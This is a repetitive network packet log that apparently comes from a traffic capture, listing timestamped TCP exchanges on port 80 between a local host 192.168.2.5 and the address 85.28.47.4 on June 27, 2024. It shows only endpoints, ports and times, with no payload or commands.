Jun 27, 2024 07:37:15.420923948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.420933008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.420979023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.421614885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421627045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421638012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421648979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421659946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421672106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421684027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421690941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.421690941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.421719074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.421719074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.421776056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421787977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421798944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421811104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421823025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.421823025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421834946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421842098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.421847105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421858072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421869993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421873093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.421880960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421894073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421900988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.421900988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.421906948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421917915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.421943903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.421958923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.422568083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.422580004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.422590017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.422600031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.422610998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.422616959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.422622919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.422636986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.422636986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.422707081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.504312992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.504491091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.504548073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.504563093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.504575014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.504585981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.504597902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.504611015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.504611015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.504622936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.504642963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.504652023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.504654884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.504667044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.504676104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.504678965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.504689932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.504698992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.504705906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.504736900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.504736900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.504780054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.504983902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.504997015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505007029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505018950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505038023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.505053997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505084038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.505124092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.505181074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505194902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505208015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505218029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505228996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505238056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.505238056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.505264997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.505266905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505280972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505296946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.505342007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.505542994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505554914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505567074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505579948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505590916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505606890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.505606890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.505613089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505623102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505630016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505637884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505637884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.505645037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505652905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505659103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505666018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505667925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.505678892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.505697012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.505738974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.506304026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506318092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506330013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506345987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506359100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506370068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506381989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506393909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506402016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.506402016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.506402016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.506406069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506417990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506428957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506434917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.506441116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.506469965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.506500006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.506906986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506918907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506937027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506947041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506958961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506963015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.506970882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.506979942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.506982088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507004976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507009983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.507015944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507028103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507040024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507041931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.507051945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507071018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.507081032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.507143021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.507281065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507292986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507302999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507314920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507325888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507337093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507354975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507364035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.507364035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.507365942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507381916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507390022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.507400990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507411957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507422924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507426023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.507426023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.507435083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507443905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.507447004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507458925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507469893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507487059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507489920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.507494926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507502079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.507503986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.507515907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.507545948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.508311033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508316994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508323908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508332014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508338928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508349895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508357048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508361101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.508363008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508369923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508377075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.508377075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508384943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508390903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508393049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508399963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508405924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508409023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508415937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.508415937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508415937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.508424044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508426905 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.508457899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.508483887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.509195089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.509210110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.509222984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.509236097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.509247065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.509253979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.509267092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.509272099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.509279013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.509284973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.509289980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.509301901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.509320021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.509331942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.509332895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.509332895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.509354115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.509423971 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.591259003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591273069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591285944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591331005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591344118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591356993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591361046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.591423035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.591479063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591490984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591532946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.591545105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591557026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591600895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.591617107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.591705084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591720104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591732025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591743946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591761112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591772079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.591773033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.591840982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.591939926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591953993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591965914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591976881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591986895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.591986895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.592020035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.592056990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.592232943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592243910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592253923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592266083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592277050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592287064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592293024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.592293024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.592298031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592308998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592320919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592331886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592338085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.592380047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.592380047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.592699051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592710018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592720985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592731953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592742920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592753887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.592755079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592767000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592777967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.592792034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.592792034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.592834949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.593018055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.593029976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.593046904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.593058109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.593070030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.593080044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.593091965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.593100071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.593101978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.593113899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.593135118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.593135118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.593135118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.593170881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.630868912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.635646105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810174942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810199022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810211897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810266972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810293913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810400963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810411930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810445070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810446978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810482025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810486078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810503006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810523033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810537100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810554981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810576916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810589075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810626030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810626030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810640097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810693026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810724974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810731888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810731888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810767889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810782909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810831070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810837030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810852051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810863018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810879946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810895920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810916901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810930014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810940981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.810992956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.810992956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:15.811122894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811134100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811144114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811155081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811165094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811176062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:15.811187029 CEST	80	49705	85.28.47.4	192.168.2.5
